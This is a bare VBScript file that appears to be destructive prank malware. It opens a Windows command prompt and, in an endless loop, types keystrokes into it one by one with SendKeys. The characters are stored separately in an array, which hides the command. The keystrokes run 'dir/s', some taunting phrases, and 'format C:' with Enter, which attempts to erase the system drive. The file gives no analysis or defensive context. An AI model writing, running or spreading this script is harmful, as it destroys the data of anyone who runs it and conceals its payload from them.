On Error Resume Next
    Set WSHShell = WScript.CreateObject("WScript.Shell")
    WshShell = WScript.CreateObject("WScript.Shell")
    WshShell.Run "cmd", 1
    WshShell.AppActivate ""
    dim ms(60)
    ms(0) = "d"
    ms(1) = "i"
    ms(2) = "r"
    ms(3) = "/"
    ms(4) = "s"
    ms(5) = "~"
    ms(6) = "c"
    ms(7) = "k"
    ms(8) = "o"
    ms(9) = "k"
    ms(10) = "a"
    ms(11) = " "
    ms(12) = "d"
    ms(13) = "e"
    ms(14) = "r"
    ms(15) = "m"
    ms(16) = "a"
    ms(17) = "!"
    ms(18) = "~"
    ms(19) = "s"
    ms(20) = "h"
    ms(21) = "a"
    ms(22) = " "
    ms(23) = "i"
    ms(24) = "c"
    ms(25) = "p"
    ms(26) = "r"
    ms(27) = "a"
    ms(28) = "v"
    ms(29) = "i"
    ms(30) = "m"
    ms(31) = "!"
    ms(32) = " "
    ms(33) = "~"
    ms(34) = "f"
    ms(35) = "o"
    ms(36) = "r"
    ms(37) = "m"
    ms(38) = "a"
    ms(39) = "t"
    ms(40) = " "
    ms(41) = "C"
    ms(42) = ":"
    ms(43) = Chr(13)
    ms(44) = "S"
    ms(45) = "T"
    ms(46) = "R"
    ms(47) = "A"
    ms(48) = "S"
    ms(49) = "N"
    ms(50) = "O"
    ms(51) = "?"
    ms(52) = "?"
    ms(53) = "?"
    ms(54) = " "
    ms(55) = " "
    ms(56) = " "
    ms(57) = " "
    ms(58) = " "
    ms(59) = " "
do while(1)
dy=dy+1
For Each Item in ms
    WScript.Sleep 300
    WshShell.SendKeys Item
         next
loop